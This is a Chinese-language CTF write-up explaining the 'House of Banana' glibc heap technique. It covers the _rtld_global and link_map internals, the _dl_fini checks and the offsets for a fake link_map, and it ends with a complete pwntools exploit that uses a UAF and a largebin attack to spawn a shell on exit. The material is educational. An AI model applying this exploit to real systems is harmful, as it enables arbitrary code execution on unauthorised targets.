House-of-Banana攻击

House of Banana

前记

上周打了国内含金量比较高的赛事强网杯,发现自己还是和高手差距很大,关于高级攻击手法积累较少,以赛代练学习一下相关知识点 — House of Banana


攻击手法深度解析

这种攻击手法是星盟的ha1vk师傅最开始利用的这种手法,学习两天后,才发现这种手法的奥妙,利用的条件限制也是比较少,是一种十分便捷的手法

适用场景(满足任意一个条件即可)

  • 程序能够显示的执行exit函数
  • 程序通过libc_start_main启动的主函数,且主函数能够结束

原理分析

banana劫持的是rtld_global这个结构体 ,因为我们在利用exit函数退出的时候,程序会调用这个结构体。具体劫持关系如下

1
rtld_global -> _ns_loaded -> link_map -> ((fini_t) array[i]) ()

rtld_global结构体里面的link_map结构体,其中rtld_global中的_ns_loaded指向link_map结构体的头节点。通过劫持link_map结构体就能实现函数调用。

下面来分析一下rtld_global结构体 , rtld_global结构体组成也是非常发杂的,我们直击重点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map; ##link_map结构体

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};

而这个结构体里面存放的是elf文件各段的符号结构体_dl_ns,而这个符号结构体里面又套的有结构体,我们关注的是里面的fini_array段的动态链接结构体指针,而这个指针又会在 _dl_fini中被使用。

当调用到_dl_fini函数时,会执行每个 中注册的 fini 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表

if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}

....
}

可以看到,重点在于((fini_t) array[i]) (); 这一行,这一行会把fini_t结构体里面的array[i]当成一个函数来调用,所以我们完全可以在这里填上我们的one_gadget,这样程序在结束的时候就可以执行我们的one_gadget,从而getshell(当然,远不止这一种用法)

当然这上面说的一切都在我们的link_map结构体里面,所以我们的重点在于link_map这个结构体

1
2
3
4
5
6
7
pwndbg> p _rtld_global
$1 = {
_dl_ns = {{
_ns_loaded = 0x7b20b1a2b170, #link_map结构体的头节点
_ns_nloaded = 4, ## 链表的节点个数
_ns_main_searchlist = 0x7b20b1a2b428, _ns_global_scope_alloc = 0,
...

这个结构体长这个样子,太长了我们就直击重点,就是我注释的地方

_ns_loaded =0x7b20b1a2b170,这个地方就是上面说的link_map链表头的位置,后面的ns_nloaded = 4,这个代表链表的节点个数,也就是有几个这样的链表,要注意的是,这里是不可以小于4的,不然就绕不过检查了

我们先进去link_map结构体看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> p *(struct link_map *) 0x7b20b1a2b170         
$2 = {
l_addr = 102030429388800,
l_name = 0x7b20b1a2b700 "",
l_ld = 0x5ccbcfa03000,
l_next = 0x7b20b1a2b710, #指向下一个link_map结构体的地址
l_prev = 0x0,
l_real = 0x7b20b1a2b170, #指向自身的地址
l_ns = 0,
l_libname = 0x7b20b1a2b6e8,
....
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,

首先看l_next = 0x7ffff7e2b710这一句,这一句指向的是下一个link_map,然后是 l_real = 0x7f56e43ba220 , 指向的自身的地址,这里也是后面需要检查的地方。l_init_called = 1, 简单说,就是为了绕过检查。

我们先总结一下现在知道什么,首先,house of banana的利用基础就是在于伪造_rtld_globa结构体里面用ns_loaded所连接的四个link_map结构体,最终是在于link_map里面,伪造其中的一些数据,最终执行((fini_t) array[i]) ()

最开始的利用其实是基于第一个link_map结构体,但是那样需要伪造四个,太麻烦了,所以我们完全可以伪造第三个link_map的_ns_loaded,把这个数据改成我们伪造的堆块,在堆块里面伪造第四个link_map

绕过保护

来看看保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
// -------------------check0--------------------------------
if (l == l->l_real)
// -------------------check0--------------------------------
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);

因为我们必须有四个link_map结构体,所以我们需要找到第三个节点的位置,伪造他的next段

1
2
pwndbg> p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
$3 = (struct link_map **) 0x7ffff7ff7018

只要在gdb里面输入这一行,就可以看到第三个结构体的位置,计算出相对于libc的偏移

为了绕过上面的maps[i] = l这一行,我们必须在伪造的结构体(假设伪造的结构体为fake)加上0x28的位置上面填上自己的地址,也就是fake+0x28=fake

其次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define DT_FINI_ARRAY   26      /* Array with addresses of fini fct */
#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
// -------------------check1--------------------------------
if (l->l_init_called)
// -------------------check1--------------------------------
{
/* Make sure nothing happens if we are called twice. */
l->l_init_called = 0;

/* Is there a destructor function? */
// -------------------check2--------------------------------
if (l->l_info[26] != NULL
|| l->l_info[DT_FINI] != NULL)
// -------------------check2--------------------------------
{
....

// -------------------check3--------------------------------
if (l->l_info[26] != NULL)
// -------------------check3--------------------------------
{
array = (l->l_addr + l->l_info[26]->d_un.d_ptr);

i = (l->l_info[28]->d_un.d_val / 8));

while (i-- > 0)
((fini_t) array[i]) ();
}
...
}
}
}

这个位置也是有检查的,对于check1,l->l_init_called,这个位置其实是要大于8的,但是具体的值需要查一下,因为各个版本内容不同

1
2
3
4
pwndbg> distance _rtld_global._dl_ns[0]._ns_loaded  &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
0x7ffff7e2b170->0x7ffff7e2b484 is 0x314 bytes (0x62 words)
pwndbg> x/wx &(_rtld_global._dl_ns[0]._ns_loaded)->l_init_called
0x7ffff7e2b484: 0x0000001c

可以输入这两行,也就是说在我们的fake+0x314的位置填上0x1c即可

对于check2和3,只需l->l_info[DT_FINI_ARRAY] != NULL 便可绕过

1
2
pwndbg> distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])
0x7ffff7ffe168->0x7ffff7ffe278 is 0x110 bytes (0x22 words)

在fake+0x110 写入的内容会直接控制array

1
2
pwndbg> distance  (_rtld_global._dl_ns[0]._ns_loaded)  &((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
0x7ffff7ffe168->0x7ffff7ffe288 is 0x120 bytes (0x24 words)

在fake+0x120写入的内容会控制i

只要把fake+0x120,fake+0x110 控制好就可以控制最后的((fini_t) array[i]) ();这是正常执行fini_array的流程,所以我们照着此进行伪造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> p/x  *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26]) 
$16 = {
d_tag = 0x1a,
d_un = {
d_val = 0x600e18,
d_ptr = 0x600e18
}
}
pwndbg> p/x ((_rtld_global._dl_ns[0]._ns_loaded)->l_info[26])->d_un.d_ptr
$18 = 0x600e18
pwndbg> telescope 0x600e18
00:00000x600e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x400840 (__do_global_dtors_aux) ◂— cmp byte ptr [rip + 0x200849], 0
01:00080x600e20 (__JCR_LIST__) ◂— 0x0
02:00100x600e28 (_DYNAMIC) ◂— 0x1
... ↓
04:00200x600e38 (_DYNAMIC+16) ◂— 0xc /* '\x0c' */
05:00280x600e40 (_DYNAMIC+24) —▸ 0x400680 (_init) ◂— sub rsp, 8
06:00300x600e48 (_DYNAMIC+32) ◂— 0xd /* '\r' */
07:00380x600e50 (_DYNAMIC+40) —▸ 0x400b14 (_fini) ◂— sub rsp, 8
pwndbg> p/x *((_rtld_global._dl_ns[0]._ns_loaded)->l_info[28])
$19 = {
d_tag = 0x1c,
d_un = {
d_val = 0x8,
d_ptr = 0x8
}
}

这是正常执行时候的流程,可以总结一下

借用cat03师傅的总结

需要在fake+0x110写入一个ptr,且ptr+0x8处有ptr2,ptr2处写入的是最后要执行的函数地址.

需要在fake+0x120写入一个ptr,且ptr+0x8处是i*8。

我选择的是fake+0x110写入fake+0x40,在fake+0x48写入fake+0x58,在fake+0x58写入shell

我选择在fake+0x120写入fake+0x48,在fake+0x50处写入8。

House of banana.drawio

1
2
3
4
5
6
fake + 0x28 = fake
fake + 0x48 = fake + 0x58
fake + 0x58 = shell
fake + 0x110 = fake + 0x40
fake + 0x120 = fake + 0x48
fake + 0x314 = 0x1c

这个是伪造link_map的基本方法,但是使用伪造的前提是需要把link_map的next改为fake,可以用largebin attack

在有些情况下,rtld_global_ptr与libc_base的偏移在本地与远程并不是固定的,可能会在地址的第2字节处发生变化,因此可以爆破256种可能得到远程环境的精确偏移。

这里引用一下ctfshow的poc

例题讲解

例题下载

解题思路

基础的菜单题,主要以熟悉House of Banana为主

add函数创建堆有大小限制不能创建fast bin

image-20241105205651356

delete函数存在uaf漏洞

image-20241105205832733

这题存在exit函数,那我们进行House of Banana初体验

攻击思路为:

  1. 先用largebin attack改link_map3->next的地址为fake
  2. 进行fake的伪造
  3. 执行exit函数

需要再提的一点就是可能需要爆破,关于largebin attack下次再详细总结一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './pwn4'
url = ''

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

elf = ELF(filename)
libc = ELF('./libc-2.27.so')

'''
1.add
2.show
3.edit
4.delete
5.exit
Your choice:

'''
def add(index,size):
io.sendlineafter('Your choice:\n', str(1))
io.sendlineafter('index:\n', str(index))
io.sendlineafter("Size:\n", str(size))

def show(index):
io.sendlineafter('Your choice:\n', str(2))
io.sendlineafter('index:\n', str(index))

def edit(index, content):
io.sendlineafter('Your choice:\n', str(3))
io.sendlineafter('index:\n', str(index))
io.sendafter("context: \n",content)

def free(index):
io.sendlineafter('Your choice:\n', str(4))
io.sendlineafter('index:\n', str(index))


def pwn() :
add(0,0x428)
add(1,0x500)
add(2,0x418)
free(0)
add(3,0x500)
show(0)
io.recvuntil('context: \n')
libc_base=u64(io.recv(6).ljust(8 , b'\x00'))-0x3ec090

edit(0,b'a'*0x10)
show(0)
io.recvuntil(b'a'*0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00'))-0x250

rtld_global=libc_base+0x62a060
link_map3=libc_base + 0x168fb8 ##需要爆破
one_gadget=libc_base + 0x4f302


free(2)
edit(0,p64(libc_base+0x3ec090)*2+p64(heap_base+0x250)+p64(link_map3-0x20))
add(4,0x500)

fake_addr=heap_base+0xb90
payload = p64(0)*3 + p64(fake_addr)
payload = payload.ljust(0x48-0x10,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(one_gadget)
payload = payload.ljust(0x110-0x10,b'\x00')+p64(fake_addr+0x40)
payload = payload.ljust(0x120-0x10,b'\x00')+p64(fake_addr+0x48)
payload = payload.ljust(0x314-0x10,b'\x00')+p64(0x1c)

edit(2,payload)
io.sendlineafter('Your choice:\n', str(5))
io.interactive()

while(True):
io = process(filename)
try :
pwn()
break
except :
continue
finally :
io.close()